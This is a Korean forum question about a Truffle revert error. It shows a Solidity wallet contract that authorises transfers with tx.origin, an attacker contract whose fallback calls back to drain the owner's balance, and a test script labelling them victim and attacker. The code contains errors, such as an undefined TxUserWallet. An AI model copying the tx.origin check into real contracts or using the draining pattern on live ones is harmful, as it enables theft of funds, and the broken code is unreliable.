한 스마트 계약에서 다른 스마트 계약으로 이더리움을 전송하는 동안 VM 예외

2741 단어
`pragma solidity 0.5.16;
contract SC1 {
    address owner;
    constructor() public {
        owner = msg.sender;
    }
    function transferTo(uint amount, address payable dest ) public {
        require(tx.origin == owner);
        dest.transfer(amount);
    }
    function () external payable{
    }
}`


==

`pragma solidity ^0.5.16;
interface SC1 {  
   function transferTo(uint amount, address payable to   ) external;
}
contract SC2{

    uint public  count;
    address owner;
    constructor() public {
        owner = msg.sender;
    }
    function() external payable  { 
      count++; 
      if (count < 2 ) 
         TxUserWallet(msg.sender).transferTo(msg.sender.balance, address(this));

   }
}


트러플 스크립트

`var assert = require('assert');
const path = require("path");
const fs = require("fs");


module.exports = async function(callback) {
  try {
     let arg1 = ""
     let arg2  = ""
     let  amount = '6'
     const accounts = await web3.eth.getAccounts();
     const acc2 = accounts[2];
     transferFuncName= "transferTo"
     const vic= artifacts.require("SC1");
     const att= artifacts.require("SC2");
     const vicobj = await vic.new();
     const attobj = await att.new();
     result1 = await web3.eth.sendTransaction({to:vicobj.address, from:acc2, value: web3.utils.toWei(‘11’)})

     arg2 =  attobj.address
     arg1 = web3.utils.toWei(amount,"ether")
     result2 = await vicobj[transferFuncName](arg1, arg2, {from:accounts[0]})
    }
 catch(error) {
    console.log(error)
  }

  callback()
}



다음은 오류 메시지입니다.

Using network 'development'.
{ Error: Returned error: VM Exception while processing transaction: revert
at module.exports (/home/zulfi/Truffle_programs/js_search_opcode_js/executingFunc.js:23:46)
at process._tickCallback (internal/process/next_tick.js:68:7)
hijackedStack:
'Error: Returned error: VM Exception while processing transaction: revert\n at Object.ErrorResponse (/home/zulfi/.nvm/versions/node/v10.23.3/lib/node_modules/truffle/build/webpack:/node_modules/web3-core-helpers/src/errors.js:29:1)\n at /home/zulfi/.nvm/versions/node/v10.23.3/lib/node_modules/truffle/build/webpack:/node_modules/web3/node_modules/web3-core-requestmanager/src/index.js:170:1\n at /home/zulfi/.nvm/versions/node/v10.23.3/lib/node_modules/truffle/build/webpack:/packages/provider/wrapper.js:107:1\n



누군가 저를 안내해주세요.

줄피.

좋은 웹페이지 즐겨찾기